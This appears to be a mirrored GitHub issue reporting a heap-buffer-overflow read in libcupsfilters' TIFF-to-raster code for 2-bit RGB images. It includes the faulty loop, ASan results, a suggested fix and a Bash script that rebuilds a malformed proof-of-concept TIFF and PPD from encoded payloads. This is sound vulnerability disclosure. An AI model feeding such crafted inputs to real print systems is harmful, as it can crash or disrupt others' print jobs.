OpenPrinting / OpenPrinting/libcupsfilters

imagetoraster: packed 2-bit RGB TIFF scanline is read as bytes

Open
#172 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

The project-owned TIFF conversion path mishandles RGB images with two bits per
sample. libtiff correctly returns a packed 13-byte scanline for a 17-pixel RGB
row, but _cfImageReadTIFF() advances the scanline pointer by one byte for
each pixel and reads 17 bytes.

This is a deterministic heap-buffer-overflow read in libcupsfilters, not a
libtiff parser crash. No write primitive or reliable disclosure of useful
adjacent data has been demonstrated.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.tiff is a 263-byte, 17-by-9 RGB TIFF with
BitsPerSample=2, SHA-256
e2580a403c387fc5351a5bbae0634d34c3ce11930b0a364e374ca9e4eca219d3.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: imagetoraster: packed 2-bit RGB TIFF scanline is read as bytes
# Finding ID: imagetoraster-tiff-packed-sample-oob-read
# Trigger: The project-owned TIFF conversion path mishandles RGB images with
# two bits per sample. libtiff correctly returns a packed 13-byte scanline for
# a 17-pixel RGB row, but _cfImageReadTIFF() advances the scanline pointer by
# one byte for each pixel and reads 17 bytes.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.tiff (263 bytes)
write_file document.tiff e2580a403c387fc5351a5bbae0634d34c3ce11930b0a364e374ca9e4eca219d3 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA/P01GLgYGBg4GZgYGRhYASyBIGYEcrmBGImRmYwmwmImaFsEGZDEheEqp8ExEJQ
cWYgFkViiyGZKQ5llwKxDJKZIMBtEFo1/8hLPuOI2kXH3wiaRTcsPfVexDKuecXZT+I2iW2rL3yV
sk/pXHf5h6xTes/Ga78VXLP6t9z8p+yRO2n7HUY174Kpu+6zaPoVz9j7iF0nsGz2gadc+iGV8w6/
4DUKr1l47LWAaVT9kpPvhC1im5af+ShmndC66jwAFUp4pgcBAAA=
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (895 bytes)
write_file printer.ppd 490e988c532d56bde1708430f9fc74af2f5125e92529e5d37532fff02f2388c5 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA5WQTWvjMBCG7/kVIqfWUH+kKXRNKRgnXQJpY+pkL8seVHviiJUloY9A9tfvyE7s
9NCFvUnPO/POzBsUxeIuq+UHpGQ6D++nk+BF6pbaH6ANk2KkjMPIkjBGtqaicbQZ+VI0nJnDqCxF
JWsmmpSsys2aWiaSSVDk3uyNtn5mnhXb3fsyxD3Q8ZUKt6eVdRo0ipmrmUVcaFm7yiK56RDJqfI1
t75F1sDPZp9E1MqD1PaNVb+/0P8hFeV47c19nMRhHMe35PrsNRyBo+zjySWXegFHVqHZC+UGJsEC
9tRx20mlol75rumpz7I8GQvtULs9aOmag3L+yAQNK6fMsMEsnPfE50N5LhUDk5KtdtBzdLSgZ9jL
Wtwssmy/J1QpzioMXYroKOrQF95ZMJbEpCuzUlPcQuO4jQKxW5GgQFyyPxC9Qs0o8c+UFBjTRuCo
ja4Br8TaGkR1SkkSk0ycSrBOjb3D5ReQkgz3v/zwE2VzXPXpKbqwnw/fHsjjfPbr+dmAVUjrLkuf
LJcGdqv0C/93aLqILhP6/3/OOPutfCj0g0OmgfaWn9DgGmOCZ7fp1TYKw2EtCHO10TUb+ofev0zu
4yl/AwAA
POC_PAYLOAD_1

Result

ASan reports a heap-buffer-overflow READ of size 1 at
image-tiff.c:1075, immediately after the 13-byte scanline allocated at line
350. The plain filter exits normally and emits Raster output, so the
demonstrated impact is sanitizer-visible over-read and output correctness.

An isolated CUPS scheduler routes image/tiff through imagetoraster; the
ASan filter reaches the same source line and aborts while the scheduler stops
only that job. See cupsd-pipeline.txt.

Cause and expected behavior

At lines 1071-1080, the two-bit RGB branch increments scanptr once per
pixel:

for (xcount = img->xsize, scanptr = scanline; xcount > 0;
     xcount--, scanptr++)
  pixel = *scanptr >> 2;

Three two-bit samples consume six bits per pixel, so samples cross byte
boundaries and cannot be decoded by treating each pixel as one independent
byte. The loop must unpack the bitstream according to
BitsPerSample * SamplesPerPixel, remain within TIFFScanlineSize(), and
reject unsupported packing rather than reading beyond the decoded row.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in image-tiff.c at lines 1071-1080 and inspect the two-bit RGB branch alongside the scanline allocation at line 350. Run reproduce.sh with poc/document.tiff to confirm the ASan failure, then verify that packed samples are handled within TIFFScanlineSize() and unsupported packing is rejected without the heap-buffer-overflow read.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
62/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.